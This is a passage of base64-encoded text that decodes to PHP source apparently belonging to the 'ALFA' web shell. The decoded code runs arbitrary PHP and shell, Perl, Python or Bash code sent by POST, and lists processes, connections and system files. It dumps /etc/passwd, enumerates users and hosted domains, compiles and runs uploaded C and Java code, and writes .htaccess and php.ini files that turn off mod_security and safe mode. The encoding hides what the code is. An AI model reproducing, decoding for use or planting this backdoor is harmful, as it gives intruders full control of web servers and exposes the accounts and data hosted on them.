NPT0tJRVsiZXZhbF90bXBkaXIiXSkmJkBpc19kaXIoJF9DT09LSUVbImV2YWxfdG1wZGlyIl0pKXsKJHRlbXBkaXIgPSBfX1pHVmpiMlJsY2coJF9DT09LSUVbImV2YWxfdG1wZGlyIl0pOwp9ZWxzZXsKJHRlbXBkaXIgPSBkaXJuYW1lKGFsZmFFeCgibWt0ZW1wIikpOwpfX2FsZmFfc2V0X2Nvb2tpZSgiZXZhbF90bXBkaXIiLCBfX1pXNWpiMlJsY2coJHRlbXBkaXIpKTsKfQphbGZhaGVhZCgpOwppZihpc3NldCgkX1BPU1RbJ2FsZmEyJ10pICYmICgkX1BPU1RbJ2FsZmEyJ10gPT0gJ2luaScpKXsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsKb2Jfc3RhcnQoKTsKJElOST1pbmlfZ2V0X2FsbCgpOwpwcmludCAnPHRhYmxlIGJvcmRlcj0wPjx0cj4nCi4nPHRkIGNsYXNzPSJsaXN0aW5nIj48Zm9udCBjbGFzcz0iaGlnaGxpZ2h0X3R4dCI+UGFyYW08L3RkPicKLic8dGQgY2xhc3M9Imxpc3RpbmciPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5HbG9iYWwgdmFsdWU8L3RkPicKLic8dGQgY2xhc3M9Imxpc3RpbmciPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5Mb2NhbCBWYWx1ZTwvdGQ+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+PGZvbnQgY2xhc3M9ImhpZ2hsaWdodF90eHQiPkFjY2VzczwvdGQ+PC90cj4nOwpmb3JlYWNoICgkSU5JIGFzICRwYXJhbSA9PiAkdmFsdWVzKQpwcmludCAiXG4iLic8dHI+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+PGI+Jy4kcGFyYW0uJzwvdGQ+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+Jy4kdmFsdWVzWydnbG9iYWxfdmFsdWUnXS4nIDwvdGQ+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+Jy4kdmFsdWVzWydsb2NhbF92YWx1ZSddLicgPC90ZD4nCi4nPHRkIGNsYXNzPSJsaXN0aW5nIj4nLiR2YWx1ZXNbJ2FjY2VzcyddLicgPC90ZD48L3RyPic7CiR0bXAgPSBvYl9nZXRfY2xlYW4oKTsKJHRtcCA9IHByZWdfcmVwbGFjZSgnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLCcnLCR0bXApOwokdG1wID0gcHJlZ19yZXBsYWNlKCchdGQsIHRoIHsoLiopfSFtc2lVJywnLmUsIC52LCAuaCwgLmggdGggeyQxfScsJHRtcCk7CmVjaG8gc3RyX3JlcGxhY2UoJzxoMScsJzxoMicsICR0bXApIC4nPC9kaXY+PGJyPic7Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMiddKSAmJiAoJF9QT1NUWydhbGZhMiddID09ICdpbmZvJykpIHsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PHN0eWxlPi5wIHtjb2xvcjojMDAwO308L3N0eWxlPic7Cm9iX3N0YXJ0KCk7CnBocGluZm8oKTsKJHRtcCA9IG9iX2dldF9jbGVhbigpOwokdG1wID0gcHJlZ19yZXBsYWNlKCchKGJvZHl8YTpcdyt8Ym9keSwgdGQsIHRoLCBoMSwgaDIpIHsuKn0hbXNpVScsJycsJHRtcCk7CiR0bXAgPSBwcmVnX3JlcGxhY2UoJyF0ZCwgdGggeyguKil9IW1zaVUnLCcuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywkdG1wKTsKZWNobyBzdHJfcmVwbGFjZSgnPGgxJywnPGgyJywgJHRtcCkgLic8L2Rpdj48YnI+JzsKfQppZihpc3NldCgkX1BPU1RbJ2FsZmEyJ10pICYmICgkX1BPU1RbJ2FsZmEyJ10gPT0gJ2V4dGVuJykpIHsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsKb2Jfc3RhcnQoKTsKJEVYVD1nZXRfbG9hZGVkX2V4dGVuc2lvbnMoKTsKZWNobyAnPHRhYmxlIGJvcmRlcj0wPjx0cj48dGQgY2xhc3M9Imxpc3RpbmciPicuaW1wbG9kZSgnPC90ZD48L3RyPicuIlxuIi4nPHRyPjx0ZCBjbGFzcz0ibGlzdGluZyI+JywgJEVYVCkuJzwvdGQ+PC90cj48L3RhYmxlPicuY291bnQoJEVYVCkuJyBleHRlbnNpb25zIGxvYWRlZCc7CmVjaG8gJzwvZGl2Pjxicj4nOwp9CiRsYW5nX2h0bWwgPSAiIjsKZm9yZWFjaChhcnJheSgicGhwIj0+InBocCB+PiBbIFdpbmRvd3MgLyBMaW51eCBdIiwicGVybCI9PiJwZXJsIH4+IFsgTGludXggXSIsInB5dGhvbiI9PiJweXRob24gfj4gWyBMaW51eCBdIiwiYmFzaCI9PiJiYXNoIH4+IFsgTGludXggXSIpIGFzICRrZXk9PiR2YWwpeyRsYW5nX2h0bWwgLj0gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIiAnLigkX1BPU1RbImFsZmEzIl09PSRrZXk/InNlbGVjdGVkIjoiIikuJz4nLiR2YWwuJzwvb3B0aW9uPic7fQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Q2VudGVyPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnaW5pXCcpIj58IElOSV9JTkZPIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnaW5mb1wnKSI+IHwgcGhwaW5mbyB8PC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnZXh0ZW5cJykiPiB8IGV4dGVuc2lvbnMgfDwvYT48L2NlbnRlcj48YnI+PGZvcm0gY2xhc3M9InBocC1ldmFscyIgbmFtZT0icGYiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9InZhciBhY2VfdmFsdWU9Z2VFdmFsQWNlVmFsdWUodGhpcyk7ZyhcJ3BocGV2YWxcJyxudWxsLGFjZV92YWx1ZSxudWxsLHRoaXMubGFuZ3VhZ2UudmFsdWUpOyByZXR1cm4gZmFsc2U7Ij48ZGl2IGNsYXNzPSJ0eHRmb250Ij5TZWxlY3QgTGFuZ3VhZ2U6IDwvZGl2PiA8c2VsZWN0IG5hbWU9Imxhbmd1YWdlIiBzdHlsZT0id2lkdGg6MzAwcHg7Ij4nLiRsYW5nX2h0bWwuJzwvc2VsZWN0PicuX2FsZmFfbG9hZF9hY2Vfb3B0aW9ucygiZXZhbCIpLic8YnI+PGJyPjxkaXYgY2xhc3M9ImJpZ2FyZWEiIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiPjxkaXYgY2xhc3M9InBocC1ldmFscy1hY2UiPicuKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhbGZhMSddKToiJmx0Oz9waHBcblxuXHRlY2hvKCdoZWxsbyBhbGZhICEnKTtcblxuPz4iKS4nPC9kaXY+PC9kaXY+PGNlbnRlcj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iIiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiPjwvY2VudGVyPic7CmVjaG8gJzwvZm9ybT48cHJlIGlkPSJQaHBPdXRwdXQiIHN0eWxlPSInLihlbXB0eSgkX1BPU1RbJ2FsZmExJ10pPydkaXNwbGF5Om5vbmU7JzonJykuJ21hcmdpbi10b3A6NXB4OyIgY2xhc3M9Im1sMSI+JzsKaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpewppZigkX1BPU1RbJ2FsZmEzJ109PSJwaHAiKXsKb2Jfc3RhcnQoKTsKZXZhbCgnPz4nLiRfUE9TVFsnYWxmYTEnXSk7CiRyZXN1bHQgPSBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsKfWVsc2VpZihfYWxmYV9jYW5fcnVuQ29tbWFuZCgpJiYkR0xPQkFMU1sic3lzIl09PSJ1bml4Iil7CiRsYW5nID0gJF9QT1NUWydhbGZhMyddOwokZmlsZW5hbWUgPSAidGVtcCIucmFuZCgxMTExMSw5OTk5OSk7CiR0ZW1wID0gJHRlbXBkaXIuIi8iLiRmaWxlbmFtZSA7Cl9fd3JpdGVfZmlsZSgkZmlsZW5hbWUsICRfUE9TVFsnYWxmYTEnXSk7CiRyZXN1bHQgPSBhbGZhRXgoIm12IHskZmlsZW5hbWV9IHskdGVtcH07eyRsYW5nfSB7JHRlbXB9O3JtIC1mIHskdGVtcH0iKTsKQHVubGluaygkZmlsZW5hbWUpOwpAdW5saW5rKCR0ZW1wKTsKfQplY2hvICc8dGV4dGFyZWEgY2xhc3M9ImJpZ2FyZWEiPicuJHJlc3VsdC4nPC90ZXh0YXJlYT4nOwp9CmVjaG8gJzwvcHJlPjwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBfX3ByZSgpe3JldHVybignPHByZSBpZD0ic3RyT3V0cHV0IiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGNsYXNzPSJtbDEiPicpO30KZnVuY3Rpb24gYWxmYXByb2MoKQp7CmFsZmFoZWFkKCk7CmVjaG8gIjxEaXYgY2xhc3M9aGVhZGVyPjxicj48Y2VudGVyPiI7CmlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpCiRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsKaWYoJEdMT0JBTFNbJ3N5cyddPT0id2luIil7CiRwcm9jZXNzPWFycmF5KAoiVGFzayBMaXN0IiA9PiJ0YXNrbGlzdCAvViIsCiJTeXN0ZW0gSW5mbyIgPT4ic3lzdGVtaW5mbyIsCiJBY3RpdmUgQ29ubmVjdGlvbnMiID0+ICJuZXRzdGF0IC1hbiIsCiJSdW5uaW5nIFNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwKIlVzZXIgQWNjb3VudHMiID0+ICJuZXQgdXNlciIsCiJTaG93IENvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwKIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsCiJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCIKKTt9ZWxzZXsKJHByb2Nlc3M9YXJyYXkoCiJQcm9jZXNzIHN0YXR1cyIgPT4gInBzIGF1eCIsCiJTeXNsb2ciID0+ImNhdCAvZXRjL3N5c2xvZy5jb25mIiwKIlJlc29sdiIgPT4gImNhdCAvZXRjL3Jlc29sdi5jb25mIiwKIkhvc3RzIiA9PiJjYXQgL2V0Yy9ob3N0cyIsCiJDcHVpbmZvIj0+ImNhdCAvcHJvYy9jcHVpbmZvIiwKIlZlcnNpb24iPT4iY2F0IC9wcm9jL3ZlcnNpb24iLAoiU2JpbiI9PiJscyAtYWwgL3Vzci9zYmluIiwKIkludGVycnVwdHMiPT4iY2F0IC9wcm9jL2ludGVycnVwdHMiLAoibHNhdHRyIj0+ImxzYXR0ciAtdmEiLAoiVXB0aW1lIj0+InVwdGltZSIsCiJGc3RhYiIgPT4iY2F0IC9ldGMvZnN0YWIiCik7fQpmb3JlYWNoKCRwcm9jZXNzIGFzICRuID0+ICRsaW5rKXsKZWNobyAnPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZyhcJ3Byb2NcJyxudWxsLFwnJy4kbGluay4nXCcpIj4gfCAnLiRuLicgfCA8L2E+JzsKfQplY2hvICI8L2NlbnRlcj48YnI+IjsKaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpewplY2hvICI8cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgPiI7CmlmKCRHTE9CQUxTWyJnbG9iX2NoZGlyX2ZhbHNlIl0mJiFlbXB0eSgkX1BPU1RbImMiXSkpeyRjbWQgPSAiY2QgJyIuYWRkc2xhc2hlcygkX1BPU1RbImMiXSkuIic7Ijt9CmVjaG8gYWxmYUV4KCRjbWQuJF9QT1NUWydhbGZhMSddLCB0cnVlKTsKZWNobyAnPC9wcmU+JzsKfQplY2hvICI8L2Rpdj4iOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYXNhZmUoKXsKYWxmYWhlYWQoKTsKZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48YnI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgQXV0byBCeVBhc3NlciB8PC9kaXY+IjsKZWNobyAnPGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxcJ3BocC5pbmlcJyxudWxsKSI+fCBQSFAuSU5JIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxudWxsLFwnaW5pXCcpIj58IC5odGFjY2VzcyhhcGFjaGUpIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxudWxsLG51bGwsXCdwbFwnKSI+fCAuaHRhY2Nlc3MoTGl0ZVNwZWVkKSB8PC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxudWxsLG51bGwsbnVsbCxcJ3Bhc3N3ZFwnKSI+fCBSZWFkLVBhc3N3ZCB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ3VzZXJzXCcpIj58IFJlYWQtVXNlcnMgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NhZmVcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ3ZhbGlhc2VzXCcpIj58IEdldC1Vc2VyIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwnZG9tYWluc1wnKSI+fCBHZXQtRG9tYWlucyB8IDwvYT48L2NlbnRlcj48L2gzPic7CmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmE4J10pICYmIGlzc2V0KCRfUE9TVFsnYWxmYTgnXSkgPT0gJ2RvbWFpbnMnKXsKaWYoIV9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIikpewplY2hvIF9fcHJlKCk7CiRzb2xldmlzaWJsZTkgPSBfYWxmYV9maWxlKCcvZXRjL25hbWVkLmNvbmYnKTsKaWYoaXNfYXJyYXkoJHNvbGV2aXNpYmxlOSkpewpmb3JlYWNoKCRzb2xldmlzaWJsZTkgYXMgJHNvbGV2aXNpYmxlMTMpewppZihAZXJlZ2koJ3pvbmUnLCRzb2xldmlzaWJsZTEzKSl7CnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkc29sZXZpc2libGUxMywkc29sZXZpc2libGUxNCk7CmlmKHN0cmxlbih0cmltKCRzb2xldmlzaWJsZTE0WzFdWzBdKSkgPiAyKXsKZWNobyAkc29sZXZpc2libGUxNFsxXVswXS4nPGJyPic7Cn19fQp9Cn1lbHNlewplY2hvIF9fcHJlKCk7CiR1c2VycyA9IF9hbGZhX2ZpbGUoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKTsKaWYoaXNfYXJyYXkoJHVzZXJzKSl7CmZvcmVhY2goJHVzZXJzIGFzICRib3opewokZG9tID0gZXhwbG9kZSgiOiIsJGJveik7CmVjaG8gJGRvbVswXS4iXG4iO319fX0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTYnXSkgJiYgaXNzZXQoJF9QT1NUWydhbGZhNiddKSA9PSAndmFsaWFzZXMnKXsKZWNobyAnCjxmb3JtIG9uc3VibWl0PSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwndmFsaWFzZXNcJyx0aGlzLnNpdGUudmFsdWUsbnVsbCxcJz4+XCcpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiIC8+PGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250Ij5Vcmw6IDwvZm9udD48aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9InNpdGUuY29tIiBuYW1lPSJzaXRlIiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iZ28iIC8+PC9mb3JtPjwvY2VudGVyPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTknXSkgJiYgJF9QT1NUWydhbGZhOSddID09ICc+PicpewppZighX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKSl7CiRzaXRlID0gdHJpbSgkX1BPU1RbJ2FsZmE3J10pOwokcmVwID0gc3RyX3JlcGxhY2UoYXJyYXkoImh0dHBzOi8vIiwiaHR0cDovLyIsInd3dy4iKSwiIiwkc2l0ZSk7CiR1c2VyID0gIiI7CmlmKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiBmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpKXsKaWYoJHVzZXIgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy97JHJlcH0iKSkpewokdXNlciA9ICR1c2VyWyduYW1lJ107Cn0KfWVsc2V7CmlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewokdXNlciA9IGFsZmFFeCgic3RhdCAtYyAnJVUnIC9ldGMvdmFsaWFzZXMvIi4kcmVwKTsKfQp9CmlmKCFlbXB0eSgkdXNlcikmJiR1c2VyIT0ncm9vdCcpewplY2hvIF9fcHJlKCkuIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0nMSc+PHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5Vc2VyOiA8L2I+PC9mb250PjwvdGQ+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPnskdXNlcn08L2ZvbnQ+PC9iPjwvdGQ+PC90cj48dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPnNpdGU6IDwvYj48L2ZvbnQ+PC90ZD48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+eyRyZXB9PC9mb250PjwvYj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOwp9ZWxzZSB7ZWNobyBfX3ByZSgpLic8Y2VudGVyPjxiPk5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnkgT3IgRGlzYWJsZSBGdW5jdGlvbnMgaXMgbm90IE5PTkUuLi48L2I+PC9jZW50ZXI+Jzt9Cn1lbHNlewokc2l0ZSA9IHRyaW0oJF9QT1NUWydhbGZhNyddKTsKJHJlcCA9IHN0cl9yZXBsYWNlKGFycmF5KCJodHRwczovLyIsImh0dHA6Ly8iLCJ3d3cuIiksIiIsJHNpdGUpOwokdXNlcnMgPSBfYWxmYV9maWxlKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIik7CmZvcmVhY2goJHVzZXJzIGFzICRib3opewokZXggPSBleHBsb2RlKCI6IiwkYm96KTsKaWYoJGV4WzBdID09ICRyZXApewplY2hvIF9fcHJlKCkuIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0nMSc+Cjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+VXNlcjogPC9iPjwvZm9udD48L3RkPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj4iLnRyaW0oJGV4WzFdKS4iPC9mb250PjwvYj48L3RkPjwvdHI+Cjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+c2l0ZTogPC9iPjwvZm9udD48L3RkPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj57JHJlcH08L2ZvbnQ+PC9iPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7YnJlYWs7fX19fX0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTUnXSkgJiYgaXNzZXQoJF9QT1NUWydhbGZhNSddKSl7CmlmKCFfYWxmYV9maWxlX2V4aXN0cygiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpKXsKZWNobyBfX3ByZSgpOwokaSA9IDA7CndoaWxlICgkaSA8IDYwMDAwKSB7CiRsaW5lID0gQHBvc2l4X2dldHB3dWlkKCRpKTsKaWYgKCFlbXB0eSgkbGluZSkpIHsKd2hpbGUgKGxpc3QgKCRrZXksICR2bCkgPSBlYWNoKCRsaW5lKSl7CmVjaG8gJHZsLiJcbiI7CmJyZWFrO319JGkrKzt9Cn1lbHNle2VjaG8gX19wcmUoKTsKJHVzZXJzID0gX2FsZmFfZmlsZSgiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpOwpmb3JlYWNoKCR1c2VycyBhcyAkYm96KXsKJHVzZXIgPSBleHBsb2RlKCI6IiwkYm96KTsKZWNobyB0cmltKCR1c2VyWzFdKS4nPGJyPic7fX19CmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmE0J10pICYmIGlzc2V0KCRfUE9TVFsnYWxmYTQnXSkpewplY2hvIF9fcHJlKCk7CmlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpe2VjaG8gX19yZWFkX2ZpbGUoIi9ldGMvcGFzc3dkIik7fWVsc2VpZihmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikpewpmb3IoJHVpZD0wOyR1aWQ8NjAwMDA7JHVpZCsrKXsKJGFyYSA9IEBwb3NpeF9nZXRwd3VpZCgkdWlkKTsKaWYoIWVtcHR5KCRhcmEpKXsKd2hpbGUobGlzdCAoJGtleSwgJHZhbCkgPSBlYWNoKCRhcmEpKXsKZWNobyAiJHZhbDoiOwp9ZWNobyAiXG4iO319Cn1lbHNle19fYWxlcnQoJ2ZhaWxlZC4uLicpO319CmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmEyJ10pICYmIGlzc2V0KCRfUE9TVFsnYWxmYTInXSkpewpAX193cml0ZV9maWxlKCRHTE9CQUxTWydjd2QnXS4iLmh0YWNjZXNzIiwiI0dlbmVyYXRlZCBCeSBTb2xlIFNhZCBhbmQgSW52aXNpYmxlXG48SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+XG5TZWMtLS0tLS1FbmdpbmUgT2ZmXG5TZWMtLS0tLS1TY2FuUE9TVCBPZmZcbjwvSWZNb2R1bGU+Iik7CmVjaG8gJzxjZW50ZXI+PGI+PGJpZz5odGFjY2VzcyBmb3IgQXBhY2hlIGNyZWF0ZWQuLi4hPC9jZW50ZXI+PC9iPjwvYmlnPic7Cn0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkmJiBpc3NldCgkX1BPU1RbJ2FsZmExJ10pKXsKQF9fd3JpdGVfZmlsZSgkR0xPQkFMU1snY3dkJ10uInBocC5pbmkiLCJzYWZlX21vZGU9T0ZGXG5kaXNhYmxlX2Z1bmN0aW9ucz1CeVBhc3NlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZShBTEZBIFRFYU0pIik7CmVjaG8gJzxjZW50ZXI+PGI+PGJpZz4gcGhwLmluaSBjcmVhdGVkLi4uITwvY2VudGVyPjwvYj48L2JpZz4nOwp9CmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pICYmIGlzc2V0KCRfUE9TVFsnYWxmYTMnXSkpewpAX193cml0ZV9maWxlKCRHTE9CQUxTWydjd2QnXS4iLmh0YWNjZXNzIiwiI0dlbmVyYXRlZCBCeSBTb2xlIFNhZCBhbmQgSW52aXNpYmxlXG48RmlsZXMgKi5waHA+XG5Gb3JjZVR5cGUgYXBwbGljYXRpb24veC1odHRwZC1waHA0XG48L0ZpbGVzPlxuPElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPlxuU2VjRmlsdGVyRW5naW5lIE9mZlxuU2VjRmlsdGVyU2NhblBPU1QgT2ZmXG48L0lmTW9kdWxlPiIpOwplY2hvICc8Y2VudGVyPjxiPjxiaWc+aHRhY2Nlc3MgZm9yIExpdGVzcGVlZCBjcmVhdGVkLi4uITwvY2VudGVyPjwvYj48L2JpZz4nOwp9CmVjaG8gIjxicj48L2Rpdj4iOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gX19nZXRfcmVzb3VyY2UoJGNvbnRlbnQpewpyZXR1cm4gQGd6aW5mbGF0ZShfX1pHVmpiMlJsY2coJGNvbnRlbnQpKTsKfQpmdW5jdGlvbiBfX3dyaXRlX2ZpbGUoJGZpbGUsICRjb250ZW50KXsKaWYoJGZoID0gQGZvcGVuKCRmaWxlLCAid2IiKSl7CmlmKGZ3cml0ZSgkZmgsICRjb250ZW50KSE9PWZhbHNlKSByZXR1cm4gdHJ1ZTsKfQpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gYmNpbml0KCRldmFsVHlwZSwgJGV2YWxDb2RlLCAkZXZhbE9wdGlvbnMsICRldmFsQXJndW1lbnRzKXsKJHJlcyA9ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsgU3VjY2Vzcy4uLiEgXTwvZm9udD4iOwokZXJyID0gIjxmb250IGNvbG9yPSdyZWQnPlsgRmFpbGVkLi4uISBdPC9mb250PiI7CmlmKCRldmFsT3B0aW9ucyE9IiIpICRldmFsT3B0aW9ucyA9ICRldmFsT3B0aW9ucy4iICI7CmlmKCRldmFsQXJndW1lbnRzIT0iIikgJGV2YWxBcmd1bWVudHMgPSAiICIuJGV2YWxBcmd1bWVudHM7CmlmKCRldmFsVHlwZT09ImMiKXsKJHRtcGRpciA9IEFMRkFfVEVNUERJUjsKY2hkaXIoJHRtcGRpcik7CmlmKGlzX3dyaXRhYmxlKCR0bXBkaXIpKXsKJHVuaXEgPSBzdWJzdHIobWQ1KHRpbWUoKSksMCw4KTsKJGZpbGVuYW1lID0gJGV2YWxUeXBlLiR1bmlxLiIuYyI7CiRwYXRoID0gJGZpbGVuYW1lOwppZihfX3dyaXRlX2ZpbGUoJHBhdGgsICRldmFsQ29kZSkpewokZXh0ID0gKCRHTE9CQUxTWydzeXMnXT09J3dpbicpPyAiLmV4ZSI6Ii5vdXQiOwokcGF0aHJlcyA9ICRmaWxlbmFtZS4kZXh0OwokZXZhbE9wdGlvbnMgPSAiLW8gIi4kcGF0aHJlcy4iICIuJGV2YWxPcHRpb25zOwokY21kID0gImdjYyAiLiRldmFsT3B0aW9ucy4kcGF0aDsKYWxmYUV4KCRjbWQpOwppZihpc19maWxlKCRwYXRocmVzKSl7CmlmKGNobW9kKCRwYXRocmVzLCAwNzU1KSl7CiRjbWQgPSAkcGF0aHJlcy4kZXZhbEFyZ3VtZW50czsKYWxmYUV4KCRjbWQpOwp9ZWxzZXskcmVzID0gJGVycjt9CnVubGluaygkcGF0aHJlcyk7Cn1lbHNleyRyZXMgPSAkZXJyO30KdW5saW5rKCRwYXRoKTsKfWVsc2V7JHJlcyA9ICRlcnI7fQp9CnJldHVybiAkcmVzOwp9ZWxzZWlmKCRldmFsVHlwZT09ImphdmEiKXsKJHRtcGRpciA9IEFMRkFfVEVNUERJUjsKY2hkaXIoJHRtcGRpcik7CmlmKGlzX3dyaXRhYmxlKCR0bXBkaXIpKXsKaWYocHJlZ19tYXRjaCgiL2NsYXNzXCAoW157XSspey9pIiwkZXZhbENvZGUsICRyKSl7CiRjbGFzc25hbWUgPSB0cmltKCRyWzFdKTsKJGZpbGVuYW1lID0gJGNsYXNzbmFtZTsKfWVsc2V7CiR1bmlxID0gc3Vic3RyKG1kNSh0aW1lKCkpLDAsOCk7CiRmaWxlbmFtZSA9ICRldmFsVHlwZS4kdW5pcTsKJGV2YWxDb2RlID0gImNsYXNzICIuJGZpbGVuYW1lLiIgeyAiLiRldmFsQ29kZSAuICIgfSAiOwp9CiRwYXRoID0gJGZpbGVuYW1lLiIuamF2YSI7CmlmKF9fd3JpdGVfZmlsZSgkcGF0aCwgJGV2YWxDb2RlKSl7CiRjbWQgPSAiamF2YWMgIi4kZXZhbE9wdGlvbnMuJHBhdGg7CmFsZmFFeCgkY21kKTsKJHBhdGhyZXMgPSAkZmlsZW5hbWUuIi5jbGFzcyI7CmlmKGlzX2ZpbGUoJHBhdGhyZXMpKXsKaWYoY2htb2QoJHBhdGhyZXMsIDA3NTUpKXsKJGNtZCA9ICJqYXZhICIuJGZpbGVuYW1lLiRldmFsQXJndW1lbnRzOwphbGZhRXgoJGNtZCk7Cn1lbHNleyRyZXMgPSAkZXJyO30KdW5saW5rKCRwYXRocmVzKTsKfWVsc2V7JHJlcyA9ICRlcnI7fQp1bmxpbmsoJHBhdGgpOwp